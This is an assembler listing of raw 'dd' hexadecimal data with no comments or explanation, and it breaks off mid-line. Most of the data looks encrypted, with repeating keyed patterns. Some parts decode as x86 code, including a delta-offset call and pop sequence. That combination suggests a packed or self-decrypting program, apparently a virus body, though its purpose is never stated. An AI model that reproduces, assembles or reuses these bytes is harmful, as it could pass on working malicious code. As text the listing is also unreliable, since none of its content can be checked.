5DB545AFh dd 1472EFF7h, 3B5C84Eh, 0CF000000h, 4BA2FF79h, 58BE1B1Dh dd 0B99504F2h, 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh, 0D330A197h dd 2E0E8B8Dh, 163FE78h, 6832D95Fh, 77F1h, 53241C89h, 0C381E389h dd 4, 4EB81h, 1C870000h, 0C895C24h, 79D26824h, 34890000h dd 0EABA5224h, 815AB01Ch, 4E7E89CAh, 81D2F775h, 0CBE00F2h dd 0D3895386h, 5A5BD989h, 72B768h, 24248900h, 4240481h dd 5E000000h, 8BA52h, 0C2810000h, 3698374Dh, 0EA81F201h dd 3698374Dh, 0FF5A0A89h, 835E2434h, 0C8B04C4h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 3A10E95Ch, 0B3C5FFFAh dd 615198C2h, 42E2B836h, 0C503060Dh, 0A45EE0FFh, 64F75C89h dd 7DC33803h, 3C9E001Dh, 0C5964F8Bh, 4D762F84h, 18C33C90h dd 2D8F42ACh, 60E661EBh, 0BD96116Eh, 350E3719h, 0F85B5EBCh dd 0F59F11C6h, 9E2830FFh, 0AE847CCh, 98000000h, 0A6DDA9AAh dd 798D73EDh, 5FF18BCCh, 81D2BF0Fh, 62EFC7h, 17BA6600h dd 189AB941h, 0D68B0000h, 0C78B37FFh, 4EE815Bh, 8116FDD4h dd 2616F3EBh, 0B6D0817Eh, 816D67E8h, 0AB1A28C3h, 0C381F556h dd 9137DCCh, 19830Fh, 14E90000h, 0C6000000h, 7933202Bh dd 7D4A11FAh, 319026A4h, 91B38295h, 531E2C13h, 8FD68B66h dd 0B1605307h, 0A8BB6620h, 835A6104h, 8B6604EFh, 1E981C3h dd 0F000000h, 0FFFF9B85h, 8B6651FFh, 0E8535AC2h, 565DB13Eh dd 0EEACF232h, 5655F201h, 56ABB132h, 61D5B132h, 82EAE86Fh dd 5675EB59h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h dd 545DB132h, 81AEB132h, 5757B835h, 54ABBB32h, 47D5B332h dd 56E88032h, 5677F632h, 7DB8F632h, 565DB8F2h, 75FC6C32h dd 29C96812h, 6222247Eh, 3687E116h, 6DBBE53h, 0C44BE60h dd 0CE2EB6Ah, 7241386Ah, 0EF4AA18h, 565B5862h, 9BCFB132h dd 9F0522B0h, 0D3165EFCh, 0B8E2BAE8h, 0AC9FADBDh, 90FCB999h dd 47305B5h, 6573A11h, 56A45860h, 6E4EB132h, 0B29DC723h dd 666B37Fh, 2AD5FF7Bh, 66CBE37h, 59FCE160h, 590FEB03h dd 56A35803h, 0EF55B132h, 2346EECCh, 0E2FCA38h, 1233E968h dd 303DB516h, 362ED389h, 2EA7DA8Ah, 0ECAD05Ah, 4E2E3BC7h dd 923DE743h, 5906539Fh, 59E8E103h, 0C05EB03h, 369FBE6Ah dd 0F0B60854h, 56A258AEh, 0C4C8B132h, 88F3D151h, 0D6A03D8Dh dd 5053C9D2h, 0E05DB132h, 14239585h, 0C362C61h, 72EF386Ah dd 955FD136h, 9161D764h, 0BE2DD06Dh, 0BFBD7445h, 565DB134h dd 6B3A5694h, 37CA3200h, 0D64066Ah, 56D5E953h, 56EAB132h dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h dd 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h dd 565DB132h, 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h dd 56EAB132h, 5675B132h, 56BAB132h, 565DB132h, 56AEB132h dd 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h, 5675B132h dd 56BAB132h, 565DB132h, 56AEB132h, 5657B132h, 56ABB132h dd 56D5B132h, 56EAB132h, 5675B132h, 56BAB132h, 565DB132h dd 56AEB132h, 5657B132h, 56ABB132h, 56D5B132h, 56EAB132h dd 5675B132h, 56BAB132h, 565DB132h, 56AEB132h, 5657B132h dd 56ABB132h, 56D5B132h, 36EAB132h, 5675B1DAh, 0BC3BEB32h dd 5050F632h, 0FF3C34BFh, 0D4DEB73Eh, 50A6F564h, 0EEFA33BFh dd 0D463B73Fh, 5078F568h, 56B3FFDAh, 56265932h, 0D469B132h dd 505AF574h, 56ABB132h, 1B507760h, 0ECB62Eh, 0FECDE35Ah dd 0BB0F4EAEh, 0DB5BB620h, 5CD24FB7h, 0DF874E34h, 51BE48B7h dd 3ED1DB34h, 56EAA132h, 5578F15Ah dd 0A9BADB32h, 9656EBE2h, 0D4278246h, 505AF574h, 12E133BBh dd 166CB73Fh, 0DDEAB23Fh, 0A5B582CAh, 52D0E398h, 564DB15Ah dd 52AED932h, 563DB132h, 435223CDh, 0DF8FB735h, 5BAE2BB0h dd 0D3FED034h, 50B7F574h, 0D49AD1F1h, 50A9B183h, 5617B132h dd 57DE33F5h, 46D5B735h, 958BB132h, 10CF3A52h, 0D5BCBC76h dd 7529B10Dh, 54BECEB1h, 29D4BA46h, 58DFB522h, 0BDC176B1h dd 46AD76D8h, 5675B133h, 117D43D9h, 565DB222h, 37475A32h dd 0BADCE4F1h, 56AB5952h, 0D78FB132h, 5BAD44D8h, 0C8C73A34h dd 0DDBCBC76h, 50D4B977h, 123033B1h, 3753B73Fh, 56AF73FBh dd 56D55952h, 0D7B0B132h, 5B3DA8D8h, 0CC083A34h, 6D5BBC76h dd 5BEA2F80h, 0DD6CC534h, 59743A0Ch, 0A0D4FE84h, 236AB075h dd 0BDACB236h, 15639A30h, 83D83A71h, 0DDA8B635h, 51537CBFh dd 24738A34h, 210C8A3Bh, 522C3237h, 994E78D9h, 0EB33B946h dd 505AB5FFh, 95CF06D9h, 56575952h, 0D7F1B132h, 5B9DC0D8h dd 0CC503A34h, 0EF73BC76h, 56BAB032h, 0FDAE7101h, 123433B9h dd 0D4DEB73Fh, 50A6F5ACh, 0BEB57253h, 56EAB132h, 0CD9F3068h dd 90BCBC7Ah, 5141FCB7h, 6FC6E734h, 0A983AE5Fh, 51B95C87h dd 0A8503C34h, 0A9ECBB4Eh, 3E25E3E2h, 56BA3132h, 0E4A2B158h dd 50A3F574h, 0C0F61CDh, 562BB15Ah, 0A9D5DB32h, 5BAE2B80h dd 37A54E34h, 0BA31E4F1h, 565D5952h, 0D7F4B132h, 5B1F58D8h dd 5EDE3A34h, 56D729DAh, 0C415E432h, 5078F564h, 5ACF8A6Fh dd 0D0B55F47h, 37AEB130h, 565F73FBh, 0D5473A67h, 1834DF6h dd 56EA5961h, 0D72FB132h, 5BF3ACD8h, 5E283A34h, 1BECCB9h dd 56605964h, 96A0B132h, 0AE5E9046h, 784E67h, 0B73BC76h dd 22B6C409h, 48D6D720h, 0DC5E56B2h, 0A6B4312Ch, 56AD2CDAh dd 0DF015A32h, 0B024D4Fh, 0D8A4ECCh, 1331EF6Dh, 5A9F78CEh dd 0BA25E432h, 1AF75B1h, 91F8E064h, 56D54977h, 0D42DB132h dd 5078F5B4h, 56BAB133h, 3055C4B9h, 0EC25AFB9h, 505AF574h dd 5DA3EEB9h, 6DDAC5E9h, 0DDECC4ECh, 9FCBD6Fh, 427D323Eh dd 0DD3B5BD9h, 0BE55312Ch, 5699353Dh, 0AD2BB132h, 9351BEDBh dd 0D6EAB132h, 0D27A5AC9h, 56BAB18Eh, 59BF4AB2h, 56AE1DB6h dd 0B5AC3132h, 5631353Dh, 0D7B3B132h, 5909D6C9h, 567529B6h dd 0A65D3132h, 59A63054h, 0C72ABEB2h, 0D657B132h, 0AD2B41D1h dd 0D351BE42h, 30EAB132h, 0B5F5AFB9h, 0EE4131CAh, 68DDF346h dd 0D693C537h, 6E239C0Ch, 22C38FB2h, 0D0574E01h, 30ECBC76h dd 0B1F5AFB9h, 0AD3BD7CAh, 762959B3h, 0D6B03A54h, 0D73141D5h dd 226B30C9h, 0A980D121h, 5BAEE7A0h, 13FCEC34h, 2B39D0CEh dd 3528B0CEh, 561F0BB9h, 0DD07B735h, 5BEF37B0h, 66E98834h dd 0DDBAC36Ah, 5174C488h, 0D431E134h, 5050F5B4h, 0E9E8D0Bh dd 46BC8C4Dh, 5453F4F5h, 0BDD5B132h, 0AEAF7635h, 5675B133h dd 12FC0BB9h, 49D6B73Fh, 49DA6A39h, 59226F09h, 0D5A7ECB9h dd 22D5494Fh, 0AEB7B231h, 0D571EEBBh, 0B451A5F5h, 96B47101h dd 30AEB132h, 2BDCAFB9h, 0BD50313Eh, 0B555BB46h, 261131C2h dd 649EA746h, 9153B6F4h, 565DB075h, 9125B132h, 0BF5271B1h dd 56ABB1A5h, 59D27654h, 0D6F43B3Ah, 9DF5BED1h, 57E539B2h dd 565FF6F5h, 0DDAEB132h, 509732F5h, 0D7CDC8D9h, 2245210Ch dd 0C6D4313Dh, 0D713BF47h, 0C62A4E4Ch, 52B6B346h, 94576B9h dd 12F533BFh, 0FBB73Fh, 128F23CDh, 96E1B73Fh, 9EFEBB46h dd 121803BFh, 46B6B73Fh, 3603A64h, 120123CDh, 7DF6B73Fh dd 80C46FCh, 5712CCB1h, 1FC5A147h, 5902D798h, 59F6D7B7h dd 0FDAFF784h, 2BD4AAD9h, 45DEB3CAh, 9FDE0954h, 0EE8C1A54h dd 0FD13353Dh, 57FC073Dh, 0A55F5A99h, 0D693A96h, 9F08EF6Bh dd 3ABB9F0h, 0BEB55DB9h, 56EAB132h, 2D9F3068h, 0DDBCBC79h dd 0D4D4B977h, 50A3F57Ch, 52957853h, 0BA20E432h, 362D75B1h dd 56EAB1DAh, 0BCF4EB32h, 50B7FAAEh, 56A5F4F5h, 91AEB132h dd 56574D77h, 9698B132h, 91CB3A54h, 5BAE37B0h, 5675B034h dd 0AD3BD732h, 562821A2h, 59464AB2h, 5656B9B6h, 0AD2BF132h dd 0A851BEDBh, 16EAB132h, 599E4AB2h, 56BA45B6h, 0B1DDF132h dd 0AD2FD7C2h, 0D258313Dh, 56ABB1D7h, 55443331h, 0D6AAB735h dd 0D27A53C9h, 56BAB1FCh, 59BE4AB2h, 56AE0DB6h, 0ADD6D732h dd 0D2A45255h, 56D5B188h, 0D61A52B2h, 0D27AC1C9h, 56BAB187h dd 0D6433A54h, 0AD2E49D1h, 0D610C58Ah, 14DFB40Ch, 22F88FB2h dd 3ED4310Fh, 0A9358946h, 5BFE37B0h, 48D6D734h, 305656B2h dd 0BED64AB3h, 0DDCD9546h, 0A632312Ch, 0D7113054h, 3662C5F2h dd 284E67h, 0B5BBC76h, 3752F4BBh, 57ABCCB1h, 5783343Dh dd 0EC5EB132h, 50EDB183h, 0D0F73A62h, 6FBCBC76h, 5905810Eh dd 56AFA0B0h, 23ED3A32h, 6ADB633h, 125333B9h, 6AD3B73Fh dd 0D97AE902h, 56BAB1C8h, 12170BB9h, 0D42DB73Fh, 505AF578h dd 0DF9C3826h, 0DD85A175h, 5BAE37B0h, 66693A34h, 5EE5386Ah dd 565D64DBh, 0AEEB7632h, 5657B130h, 136CB6D9h, 56D5B0CAh dd 1C503A32h, 0D573BC76h, 5BFEFBB0h, 61D4A534h, 0D5BEF6BBh dd 5A22B2CAh, 122D33F5h, 56D7B73Fh, 5301B132h, 2B7749B1h dd 0AEC7326Dh, 5946C532h, 0FFAFF784h, 5657B1B2h, 0D5EBB747h dd 5E3EB4DAh, 56EA4E1Fh, 539D3232h, 0DDE9BAD9h, 5B1937A8h dd 65AA3A34h, 56571869h, 42DE3132h, 96567731h, 0D068B237h dd 1E73BC76h, 0DFB2F6BBh, 0B6BD75h, 908569C5h, 96D469C5h dd 0D029B237h, 1ED3BC76h, 0DFE2F6BBh, 689EBD75h, 10307101h dd 23DD1933h, 0D568B213h, 57ECB3F2h, 5DABB132h, 0DCDCC5E9h dd 5A96BAA8h, 57963134h, 11337231h, 5A1A383Ah, 8E59A5D9h dd 56574E17h, 0A16D9A32h, 541532EAh, 0DFE2F6BBh, 378DBD75h dd 0DDEF72FBh, 0AA9932DEh, 56AE5952h, 0D70DB132h, 5BE61CD8h dd 106F3A34h, 65ECBC76h, 564A32FBh, 5678353Dh, 51D6B132h dd 0A9A2C4CDh, 0BE07B947h, 56ABB041h, 9156B441h, 0DF085A26h dd 238A4D77h, 5ECF4E3Eh, 0AB586CDh, 59AEB133h, 565726B0h dd 0AAEE3A32h, 0D4DAB60Bh, 56EAB1BEh, 0D589F4CDh, 22BAB54Dh dd 5A22323Ah, 0BDACC532h, 0A9A8093Ch, 53124ECDh, 0A5D5B132h dd 0D5295A99h, 2270A14Dh, 46C5323Dh, 174CC434h, 0DDAAF6B9h dd 15BCBD6Dh, 0DDAFF6B9h, 6F3EBD6Dh, 0DDEEF6B9h, 94EBD6Dh dd 4AFC43Ah, 7D59E6B9h, 3ADA167h, 5A083A26h, 0BD286B19h dd 443EEB37h, 0DDEEF6B9h, 95EBD6Dh, 53513236h, 51043B31h dd 292DB735h, 5722B222h, 0DF729A73h, 0EED4B06Eh, 0A9154ECDh dd 5675B48Bh, 0BF114232h, 0A9A24E64h, 466C7853h, 0BADCE432h dd 365775B1h, 56D5B1DAh, 0BC6BEB32h, 5078FFAAh, 12FC0BB9h dd 9F6EB73Fh, 59AE8EB1h, 565720B6h, 0A9AC3A32h, 232ABD47h dd 0DE02E13Ah, 2575B132h, 427D3237h, 13D453D9h, 5ADB4ECEh dd 0A95FC4CDh, 56DA5905h, 3CA7B132h, 6F16F4B9h, 0A916C335h dd 29394D77h, 5E29B136h, 56A2CEB1h, 58BCB346h, 0A9544E8Ah dd 56D008CDh, 0FD19B132h, 29F67AD9h, 59CEB422h, 504DCEB1h dd 0DDEFA047h, 9DCB575h, 0DDB65A3Eh, 95EB575h, 0DDF95A3Eh dd 9FEB575h, 52E59A3Eh, 0D5585AB1h, 23ADA14Dh, 8F7CF033h dd 57AAEDBBh, 0A92A4E8Ah, 56EF08CDh, 0FD86B132h, 9FDB36D9h dd 35DB9F0h, 0DDCE5DB9h, 136CB977h, 6DA3C33Eh, 55A2A177h dd 0AFE95ACAh, 9F14B1D9h dd 3BABDF0h, 92DE5DB9h, 5646D1CEh, 0C57B132h, 19C55BB3h dd 9FE6B73Fh, 0B636A01h, 10CF3ACEh, 0D5BCBC76h, 3229B10Dh dd 23518EB1h, 42903237h, 292840D9h, 5EA1B136h, 56E6CEB1h dd 5E9EB346h, 0D546F4CDh, 8DB6A5F5h, 53BECEB1h, 29D4BE46h dd 47DEB722h, 52923A73h, 0BDE6EEB9h, 52323A2Fh, 0BDB6EEB9h dd 521A3A21h, 7DA2EEB9h, 0BDD4B56Dh, 46D43237h, 17D4C431h dd 0A636819h, 0A9CDB033h, 0EF454ECDh, 565DB137h, 0C1451AC1h dd 0AA123A53h, 7FB72FBh, 56D55961h, 0D7B0B132h, 5B3A48D8h dd 8203C34h, 0EE5BBC76h, 56AEB156h, 565763DAh, 6DA03A32h dd 55C15AF3h, 97D1B579h, 1D76A640h, 247B8A22h, 0BD5F5A30h dd 0DBBC5A26h, 5B87F0A8h, 0BD784E34h, 314F3C3Ah, 0A9ECBCE1h dd 0E2CEAE1h, 0BA31E4F1h, 565DB1DAh, 0BC2FEB32h, 505AE17Ah dd 8113C52h, 0DDD3BC76h, 5163B977h, 0DF79F4B9h, 1331B575h dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 4A9834F4h dd 3EADB735h, 0FE62C228h, 445704CDh, 0D3D0B735h, 50A4CDCCh dd 0DB0561CDh, 5BEF3BB8h, 862AE034h, 0DC683C68h, 5973BC76h dd 0DDB6F185h, 6752E3EAh, 0DF6DB268h, 5171CCB0h, 51C3D034h dd 0E852h, 815A0000h, 0D50B9EAh, 828B5206h, 607267Dh, 0C64E6DB9h dd 5AE1F741h, 303905h, 0FFFF2500h, 82897FFFh, 607267Dh dd 51C3595Ah, 0E852h, 815A0000h, 0D50E9EAh, 0E8C88B06h dd 0FFFFFFBBh, 0F1F7D233h, 595AC28Bh, 8BC08BC3h, 0FA858DC0h dd 0FF060D46h, 0C18B66D0h, 50B2858Dh, 8589060Dh, 6071709h dd 50E2858Dh, 8589060Dh, 607002Dh, 0B8h, 0FC00B00h, 4784h dd 4D85C600h, 5606071Ch, 0C530DF68h, 0EDB5FFA9h, 8D060712h dd 0A7CFE85h, 50D0FF06h, 2018D8Dh, 6A510607h, 10006804h dd 0B5FF0000h, 6070FCDh, 0BD8BD0FFh, 6070FCDh, 813C7F03h dd 0F8C7h, 2447C700h, 60000020h, 22D99D8Dh, 38B0607h, 840FC00Bh dd 5, 4389008Bh, 4CF6B904h, 8D8D0023h, 60D5226h, 1B418D89h dd 0B70F0607h, 0A59589F7h, 0C7060710h, 7060585h, 5F4006h dd 15B86600h, 6985C7C2h, 60700h, 8B000000h, 0A5B5FFFBh dd 8906070Bh, 731C1B5h, 0E195FF06h, 6A060701h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0E7A5C357h, 8D0145D6h, 6071A5Dh, 1E8C0Fh, 66600000h dd 0E80E92BFh, 12h, 0E54F8707h, 8F2FE51Fh, 0ECAE0F92h dd 1856411Dh, 615E8253h, 95FF006Ah, 6073201h, 18EBC08Bh dd 17CA55E1h, 0EDB797E5h, 83B52DFAh, 639F9C7Fh, 0F204D75Dh dd 343D5D41h, 53208D8Dh, 6A060Dh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0AE71E3C3h, 0CE88687Eh dd 81BB9BA3h, 87A83DEh, 418D8954h, 0F06071Bh, 68Bh, 7DD88100h dd 0C77154A5h, 7060585h, 660C06h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0AE268AFBh dd 3850F60h, 66000000h, 0C761F28Bh, 7006985h, 6, 0E1B58B00h dd 0FF06072Ch, 72B21B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FF3D7688h, 701E195h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0F3B14738h, 62CEBB67h, 6A1523h, 320195FFh dd 0C08B0607h, 690B7DEBh, 0E2DA4C7Bh, 0A05237EDh, 0E4A0C4A2h dd 8D40D9B2h, 38B4E9F8h, 7C5BF51Dh, 0FA2F2A87h, 4019BFF7h dd 0B06591CDh, 0C02E28B5h, 0B5ED281Ah, 5B676743h, 8EAA7786h dd 0B1EFC155h, 895680EBh, 1638278Dh, 615AEACAh, 7C5033E9h dd 0C816B62Ah, 51EDAC77h, 0D60104FCh, 3BBBA7AFh, 0FAF44ABEh dd 99030E4Eh, 857C217Eh, 6471F949h, 69185C83h, 0D619DDDAh dd 0FC2DCBF7h, 0EA309640h, 0EB9807E8h, 6A023508h, 7Ah dd 0B77E900h, 7F680000h, 0E9060D55h, 0FFFAF06Fh, 0D56A468h dd 0F065E906h, 3A68FFFAh, 0E9060D58h, 0FFFAF05Bh, 0D592368h dd 0F051E906h, 9668FFFAh, 0E9060D5Ah, 0FFFAF047h, 0D5C9C68h dd 0F03DE906h, 9568FFFAh, 0E9060D5Dh, 0FFFAF033h, 8D32AA2Ah dd 0EB4CC88Fh, 4AF36969h, 0AA138BCEh, 0CB12DAEh, 0B4375488h dd 0D8958738h, 7B79DB5Ch, 9ED838FDh, 310D9D22h, 2AEF9C2Dh dd 0A765E26Ch, 67F3A3DDh, 0DD281DD2h, 9268D380h, 4A4190EAh dd 0E39D7FCFh, 52CD4904h, 82867BEDh, 9FB2C418h, 53CE682Eh dd 5F831FE3h, 6C20F92Eh, 0ECA63350h, 5D7811DCh, 0F6BB1FE2h dd 3B6C20F2h, 16DF195Ch, 27A3BAEh, 911D99D8h, 0FA6009CDh dd 231E6C20h, 45D05DA0h, 30000000h, 0C3E238C9h, 73EBEE8Fh dd 7C714E26h, 87C51981h, 9B682E8Ah, 872A2E98h, 506C20FEh dd 2B299511h, 8D802EAEh, 0CE30872Ah, 0D189F32h, 15BE3AB5h dd 0B34D519Dh, 0D047BA32h, 0C7A2639Dh, 28E37A3Bh, 21000001h dd 0F44A3DDh, 5CBE088Bh, 985C623h, 0A022208Eh, 29A4B624h dd 9F6201ADh, 2337936Fh, 6A27BC9Ah, 1A8679E4h, 0FF5BDC58h dd 6A27B718h, 0D00491D3h, 6A27B8A9h, 71E964D7h, 8A024795h dd 125BBF3Ch, 6C6A27B8h, 35C90EF1h, 8A8E8E90h, 0C555D0C5h dd 27596811h, 0D02B166Ah, 0C8E0A44h, 77718CCEh, 33AE4DF9h dd 0D11DE083h, 14868A67h, 2E0502C0h, 4AF36E68h, 0BF2325DAh dd 728E3F23h, 5F06C20h, 67C418F2h, 3D6E27A6h, 0ECAD6414h dd 0C742A08Ch, 45C3815Bh, 0A089B81Ch, 8C773B33h, 77F3EC6Eh dd 431152CEh, 6A8452DEh, 8CC42020h, 423DBE08h, 5DA39796h dd 0B24CF281h, 904h, 15AA22A2h, 73C44007h, 0D26BE1E1h dd 328B0346h, 9429A526h, 2CAFCC00h, 500D0FB0h, 0F3F163D4h dd 1650C075h, 0B985259Ah, 2AE914A5h, 5FFD6A6Ch, 963CB9A3h dd 2BE6AC72h, 0FE5CDFA2h, 278C531Ah, 0CF322D6Ah, 0F6F7124Dh dd 8CCCFD61h, 47B26A27h, 7EF97AC4h, 0C2195BB9h, 0E2B70787h dd 67CD7357h, 2DA82B8Eh, 6C64F688h, 0A3CB15E8h, 0BF423EB9h dd 0A63438C9h, 46B93DB4h, 0C23AB0A4h, 3B26682Eh, 6865F78Bh dd 5EA142ECh, 20B6B1C4h, 0D89B7C6Ch, 3B65D71Eh, 0DAAE7Ah dd 0F04C0000h, 20BA5D6Ch, 0CD30236Ch, 25A3DD13h, 0BC38BB99h dd 0C2463CDEh, 0CE752174h, 648AA0E3h, 7CD816E9h, 6A27289Bh dd 51851650h, 6A272728h, 0AAA43D56h, 0F5D6B5D2h, 0DA46FF7Ah dd 0CE921C98h, 4B7C5F72h, 0F01032E6h, 274C6B12h, 0D72A156Ah dd 80FDA051h, 71EDE804h, 37AB26C5h, 2E102123h, 6DD24D68h dd 980206FBh, 27B0D244h, 2FB3AE6Eh, 5A63F753h, 246A29D7h dd 195AC639h, 0BF38189Dh, 0FE2211C3h, 0B565815Dh, 7DF2Bh dd 877D7900h, 21A5223Eh, 40C4BC9Ch, 0E0641DFFh, 682FD5Fh dd 442727B1h, 2A368F0Bh, 8E8A33ABh, 69EB4CC8h, 7E4CF16Fh dd 0EA4F7EE2h, 0D4316C2Ah, 47A2DD74h, 693C8A02h, 0F18C4386h dd 47C2BD38h, 856062FEh, 2EAA28CFh, 0D660E380h, 77259A15h dd 9925A3DDh, 0FA4339BBh, 6FF3750Ah, 2EE915EBh, 4CCE4968h dd 0B62DC88Eh, 64E78432h, 0F5F75591h, 185AC67Fh, 0A036129Ch dd 75EF6AEBh, 62E69D78h, 2A9417D4h, 812DA928h, 70A6C9ACh dd 0AA49F571h, 0FA60E22Fh, 0E75D1FFEh, 0AD199457h, 3BB62EAFh dd 0F81E51C0h, 5FBD02FEh, 4B17A71Dh, 0A659D791h, 66AD8A3Ch dd 6508EAEBh, 8F8200A4h dd 0EFF9D566h, 1F3BE0B1h, 0EA8D14EFh, 793EBA34h, 0D363D99Bh dd 0B71FAD77h, 0BBA13900h, 72F1BD3Fh, 0B365088Fh, 1602BB31h dd 6A13C754h, 141499F0h, 1600AE29h, 38030159h, 59700951h dd 6987CDEh, 8D169098h, 0FC6B74F8h, 8F72E33Ch, 4B9A4h dd 0E96DED6Fh, 10973DB3h, 86822C2Fh, 14994AF0h, 0BD15583Fh dd 4A8C3D21h, 7F21499h, 55B978FCh, 8F8CF2F3h, 4C000003h dd 4A9084B5h, 0FD6B8E0Eh, 469A0004h, 682ED06Ch, 0B1A51500h dd 0ED22964Ch, 0EC6EF28Fh, 2707BA68h, 9CDB01EFh, 0CB704B18h dd 0C52065F2h, 0A20C0F32h, 21B9BBB4h, 4475E945h, 24EB293Ch dd 6801E59Bh, 0EA55185Eh, 5B1C8317h, 837EE92Ch, 583FD1Fh dd 0CB26A0B0h, 408C0F8Dh, 8539ADDh, 49906E1Ch, 0E7000006h dd 48C86DE7h, 2A368F0Bh, 8B892EAEh, 6BE94ECEh, 4D4BEC68h dd 75F1F291h, 991550C0h, 3ABE3424h, 5FD59785h, 0E074C8E6h dd 6C2AE4D9h, 0C9EAA6A7h, 0B2A63438h, 682EE9DCh, 0A9059580h dd 208E04B5h, 7CE07A6Ch, 6C208E4Dh, 0B245C033h, 7072E874h dd 0D59701F4h, 45C0BC3Eh, 8953AFF9h, 37AE51CFh, 0A7A94684h dd 0DB41273Bh, 3D1D6E29h, 27BC90D9h, 0F073EE6Ah, 2AA9B34Fh dd 0BC1CADB1h, 0F7626A27h, 0D629CA74h, 228C084Ah, 9C2AA620h dd 0FF21540Bh, 0BABE07FDh, 74345B7Bh, 28DCAh, 38C90E00h dd 0BC86372Bh, 7DF86A27h, 58BC1882h, 6A27BC11h, 0F109EC6Fh dd 2508E06Dh, 0F938E68h, 737792CDh, 0E15CD898h, 43D166h dd 0B4A63A84h, 1C98DF3Ah, 0A356D192h, 0FBFF6F37h, 0AC28AA87h dd 423EC760h, 0A638E67Bh, 560h, 0B106FEFEh, 1FA024A3h dd 7EC7453Dh, 0DE67E7E2h, 30850142h, 88CBA8A4h, 2CA9AB0Ch dd 570D0FB0h, 0F2EC6CD1h, 1DE1C176h, 2AE5B0F9h, 0C341CE6Ch dd 0A63438C9h, 0AF28B503h, 4FB2DAFEh, 0A3B2D7B3h, 0ADD3D987h dd 0AA2EA547h, 3EA45F1Ch, 6825AC33h, 5578E25Dh, 55D1AF2Bh dd 24E21552h, 9728A426h, 0B2FB1FFBh, 0CC6C2ADAh, 0B032AE51h dd 64F68A34h, 8A16E96Dh, 60E24CC8h, 0FB59E561h, 0E4B27CF8h dd 0BCEB4C6Fh, 28329225h, 4CC833AFh, 2B219612h, 7A41C1EAh dd 1A9BBh, 0A3DD9900h, 39BB9925h, 9943DF43h, 0F68763D9h dd 886A27BCh, 0B3B56A8Dh, 3C20BABEh, 682EEB8Ah, 0A2BEDDF6h dd 19EE6524h, 8134109Eh, 566C205Dh, 2C2E9814h, 9A1E54B1h dd 0FB82AF1Fh, 18FF07B8h, 415A9B55h, 332B7A3Ch, 0E9000000h dd 0A63438C9h, 58A51A03h, 8FCB80F4h, 47C2A10Dh, 0C0BA5EBCh dd 0DC682E84h, 4C71D561h, 816C20F0h, 5CA56316h, 447A3BA8h dd 0A659D596h, 0A729h, 0B9A3EB00h, 6DA403Ch, 6A27BC77h dd 69EB0E09h, 0C745F16Fh, 5CBE0884h, 4418A622h, 0A154D096h dd 0A33FB537h, 0BC6A13C7h, 0C6BD6A27h, 0E90C0F42h, 0B74D2234h dd 0C4866A27h, 8071F748h, 8A66E29Dh, 4AD053CBh, 206FAE96h dd 0CB57C268h, 65DA5611h, 0AC78F4F7h, 87594885h, 0ED10EE9Ch dd 4B000003h, 2C2C910Bh, 8E8A33B7h, 6FED52CAh, 0CF4DF26Ah dd 29AF108Ch, 99155635h, 3DB93424h, 5EDA9878h, 83797BD9h dd 4C906C3Ah, 6C2AE63Dh, 0DD46C243h, 942539A2h, 0EA6A27BCh dd 56D14D0Eh, 0F4F662DBh, 312BC778h, 14C03BB1h, 9925A3DDh dd 0FA4339BBh, 0D092750Ah, 0C216EA54h, 6A27BCBBh, 3DDF5AC5h dd 0F97AC440h, 0E6789C7Eh, 0BA682ED3h, 0A40DBCA0h, 0AD6D6C20h dd 0AC938B0Eh, 56D14C07h, 0C5216C4h, 0E1C77A9Dh, 94229DBCh dd 66E22CD7h, 6C20AA55h, 0D3195C33h, 24801A1Eh, 20AA8930h dd 0F2D2F76Ch, 8B746E9Eh, 0F49AB26h, 0B3462591h, 0ED25BB5Fh dd 0ACAE6E29h, 1094D336h, 0B74AC5A6h, 75F1F08Ch, 16AF2AC9h dd 97605174h, 0B779F316h, 0EA3904Ch, 85C7C6F4h, 0FE1F5A0Fh dd 726CE813h, 88CA48F6h, 4AF4706Dh, 0AEAC2EA9h, 6201AD29h dd 0FC3A8631h, 7689FDA5h, 0B6BAB7B1h, 0AB254824h, 0DCF731C5h dd 0ACD240BBh, 0D0682E19h, 7FD7E67Ah, 39B76C20h, 0EC5B23E3h dd 5ED9440Fh, 5F4174D0h, 0B8C6C20h, 4367AE68h, 203E7A3Ch dd 0E2000000h, 0A63438C9h, 2EC238B2h, 8D392468h, 20B6E489h dd 0BAE296Ch, 3B6604CDh, 103417Ah, 0DD830000h, 0E0FDF3A3h dd 0A81692D0h, 0A9CC9ECBh, 0EF73C3BEh, 19BECF13h, 4AC06A27h dd 2719E796h, 239E996Ah, 87037CD8h, 5706AB37h, 0BD39BAF6h dd 0F7623B14h, 1BDE5A15h, 0F5413FB9h, 0E9194469h, 6EB93AC3h dd 0D14F098Bh, 0BA15EA6Ch, 9CDE6A27h, 22A0BA20h, 0BE9A53A6h dd 0C5BD5F3Ch, 9E74F747h, 6A27B5EFh, 9B2BA691h, 0DA5E15C7h dd 0B5ED9C40h, 0A0936A27h, 161AD75Dh, 0D2425084h, 